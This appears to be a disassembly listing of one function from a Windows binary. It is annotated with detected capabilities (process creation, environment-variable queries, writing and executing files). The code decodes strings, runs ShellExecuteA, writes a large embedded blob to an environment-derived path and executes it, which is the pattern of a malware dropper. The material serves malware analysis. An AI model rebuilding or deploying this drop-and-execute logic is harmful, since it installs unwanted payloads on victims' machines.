Function at 0x40108c
Capabilities:
Create process on windows
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
nop
mov eax, 4
push eax
mov eax, 0x402021
push eax
call section..text
add esp, 8
mov ecx, 0xa
push ecx
mov ecx, 0x402026
push ecx
mov dword [ebp - 4], eax
call section..text
add esp, 8
mov ecx, 0x1ca
push ecx
mov ecx, 0x402031
push ecx
mov dword [ebp - 8], eax
call section..text
add esp, 8
mov ecx, 0
push ecx
mov ecx, 0
push ecx
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0x3a98
push eax
call sub.msvcrt.dll__sleep
add esp, 4
mov eax, 4
push eax
mov eax, 0x4021fc
push eax
call section..text
add esp, 8
mov ecx, 0xa
push ecx
mov ecx, str.e0__
push ecx
mov dword [ebp - 4], eax
call section..text
add esp, 8
mov ecx, 0x12e
push ecx
mov ecx, 0x40220c
push ecx
mov dword [ebp - 8], eax
call section..text
add esp, 8
mov ecx, 0
push ecx
mov ecx, 0
push ecx
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0xc
push eax
mov eax, 0
push eax
lea eax, [ebp - 0x14]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, str._:0
mov dword [ebp - 0x14], eax
mov eax, 0x402340
mov dword [ebp - 0x10], eax
mov eax, 0x402358
mov dword [ebp - 0xc], eax
mov eax, 0x10
push eax
mov eax, 0
push eax
lea eax, [ebp - 0x24]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 4
mov dword [ebp - 0x24], eax
mov eax, 0x17
mov dword [ebp - 0x20], eax
mov eax, 0x50cc00
mov dword [ebp - 0x1c], eax
mov eax, 1
mov dword [ebp - 0x18], eax
mov eax, 0
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x438]
cmp eax, 1
jge 0x4013e2
jmp 0x4011fe
mov eax, dword [ebp - 0x438]
inc eax
mov dword [ebp - 0x438], eax
jmp 0x4011db
mov eax, dword [ebp - 0x438]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x14]
add ecx, eax
mov eax, str.___Ke
push eax
mov eax, dword [ecx]
push eax
call sub.msvcrt.dll_strcmp
add esp, 8
cmp eax, 0
jne 0x401275
mov eax, dword [ebp - 0x438]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x14]
add ecx, eax
add ecx, 4
mov eax, dword [ebp - 0x438]
shl eax, 4
lea edx, [ebp - 0x24]
add edx, eax
add edx, 4
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
push eax
lea eax, [ebp - 0x434]
push eax
call sub.msvcrt.dll_strcpy
add esp, 8
jmp 0x4012ff
mov eax, dword [ebp - 0x438]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x14]
add ecx, eax
mov eax, dword [ebp - 0x438]
shl eax, 4
lea edx, [ebp - 0x24]
add edx, eax
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
push eax
call sub.msvcrt.dll_getenv
add esp, 4
mov ecx, dword [ebp - 0x438]
mov edx, 0xc
imul ecx, edx
lea edx, [ebp - 0x14]
add edx, ecx
add edx, 4
mov ecx, dword [ebp - 0x438]
shl ecx, 4
mov dword [ebp - 4], eax
lea eax, [ebp - 0x24]
add eax, ecx
add eax, 4
mov ecx, dword [eax]
push ecx
mov eax, dword [edx]
push eax
call section..text
add esp, 8
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, str._s_s
push eax
lea eax, [ebp - 0x434]
push eax
call sub.msvcrt.dll_sprintf
add esp, 0x10
mov eax, 0x90ef71
push eax
lea eax, [ebp - 0x434]
push eax
call sub.msvcrt.dll_fopen
add esp, 8
mov dword [ebp - 0x43c], eax
mov eax, dword [ebp - 0x438]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x14]
add ecx, eax
add ecx, 8
mov eax, dword [ebp - 0x438]
shl eax, 4
lea edx, [ebp - 0x24]
add edx, eax
add edx, 8
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
mov ecx, dword [ebp - 0x438]
shl ecx, 4
lea edx, [ebp - 0x24]
add edx, ecx
add edx, 8
mov ecx, dword [ebp - 0x43c]
push ecx
mov ecx, 1
push ecx
mov ecx, dword [edx]
push ecx
push eax
call sub.msvcrt.dll_fwrite
add esp, 0x10
mov eax, dword [ebp - 0x43c]
push eax
call sub.msvcrt.dll_fclose
add esp, 4
mov eax, dword [ebp - 0x438]
shl eax, 4
lea ecx, [ebp - 0x24]
add ecx, eax
add ecx, 0xc
mov eax, dword [ecx]
cmp eax, 0
je 0x4013dd
mov eax, 4
push eax
mov eax, 0x90ef74
push eax
call section..text
add esp, 8
mov ecx, 0xa
push ecx
mov ecx, 0
push ecx
mov ecx, 0
push ecx
lea ecx, [ebp - 0x434]
push ecx
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
jmp 0x4011ef
mov eax, 0
leave
ret